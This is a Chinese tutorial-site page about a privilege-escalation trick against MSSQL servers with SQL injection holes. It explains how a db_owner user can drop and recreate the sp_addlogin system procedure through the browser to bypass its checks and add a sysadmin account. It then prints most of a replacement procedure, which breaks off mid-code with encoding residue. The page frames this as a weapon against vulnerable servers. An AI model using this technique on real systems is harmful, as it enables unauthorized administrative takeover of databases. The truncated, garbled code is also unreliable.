繁體中文当前位置: 首页 > 图文教程 > 数据库 > MSSQL > SQL注入攻击通杀
- MSSQL
- 一个分页存储过程代码
- Sql Server 2000 行转列的实现（横排）
- sql2000挂起无法安装的问题的解决方法
- 完美解决MSSQL"以前的某个程序安装已在安装计算机上创建挂起的文件操作"
- SQL Server数据库的修复SQL语句
- 分页存储过程代码
- 批量执行sql语句的方法
- 一条SQL语句搞定Sql2000 分页
- SQL Server 海量数据导入的最快方法
- SQL Select语句完整的执行顺序
- MSSQL 清空数据库的方法
- mssql自动备份及自动清除日志文件服务器设置
- Sql 语句学习指南
- .NET Framework SQL Server 数据提供程序连接池
- 对有自增长字段的表导入数据注意事项
- SQL Server导入、导出、备份数据方法
- sql server 临时表 查找并删除的实现代码
- 该行已经属于另一个表 的解决方法
- SQL 注入式攻击的本质
- SQL 平均数统计
MSSQL 中的 SQL注入攻击通杀
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-10-30 浏览: 64 ::
收藏到网摘: n/a
不知道大家看过这篇文章没有，可以在db_owner角色下添加SYSADMIN帐号，这招真狠啊，存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程，饶过了验证部分。具体方法如下:先输入drop procedure sp_addlogin,然后在IE里面输入create procedure sp_addlogin
@loginame sysname
,@passwd sysname = Null
,@defdb ; ; sysname = ’master’ -- UNDONE: DEFAULT
CONFIGURABLE???
,@deflanguage sysname = Null
,@sid varbinary(16) = Null
,@encryptopt varchar(20) = Null
AS
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --
set nocount on
Declare @ret int -- return value of sp call
-- DISALLOW USER TRANSACTION --
set implicit_transactions off
IF (@@trancount > 0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return (1)
end
-- VALIDATE LOGIN NAME AS:
-- (1) Valid SQL Name (SQL LOGIN)
-- (2) No backslash (NT users only)
-- (3) Not a reserved login name
execute @ret = sp_validname @loginame
if (@ret <> 0)
return (1)
if (charindex(’\’, @loginame) > 0)
begin
raiserror(15006,-1,-1,@loginame)
return (1)
end
--Note: different case sa is allowed.
if (@loginame = ’sa’ or lower(@loginame) in (’public’))
begin
raiserror(15405, -1 ,-1, @loginame)
return (1)
end
-- LOGIN NAME MUST NOT ALREADY EXIST --
if exists(select * from master.dbo.syslogins where loginname =
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return (1)
end
-- VALIDATE DEFAULT DATABASE --
IF db_id(@defdb) IS NULL
begin
raiserror(15010,-1,-1,@defdb)
return (1)
end
-- VALIDATE DEFAULT LANGUAGE --
IF (@deflanguage IS NOT Null)
begin
Execute @ret = sp_validlang @deflanguage
IF (@ret <> 0)
return (1)
end
ELSE
begin
select @deflanguage = name from master.dbo.syslanguages
where langid = @@default_langid --server default
language
if @deflanguage is null
select @deflanguage = N’us_english’
end
-- VALIDATE SID IF GIVEN --
if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
begin
raiserror(15419,-1,-1)
return (1)
end
else if @sid is null
select @sid = newid()
if (suser_sname(@sid) IS NOT Null)
begin
raiserror(15433,-1,-1)
return (1)
end
-- VALIDATE AND USE ENCRYPTION OPTION --
declare @xstatus smallint
select @xstatus = 2 -- access
if @encryptopt is null
select @passwd = pwdencrypt(@passwd)
else if @encryptopt = ’skip_encryption_old’
begin
select @xstatus = @xstatus&nb
评论 (0) All
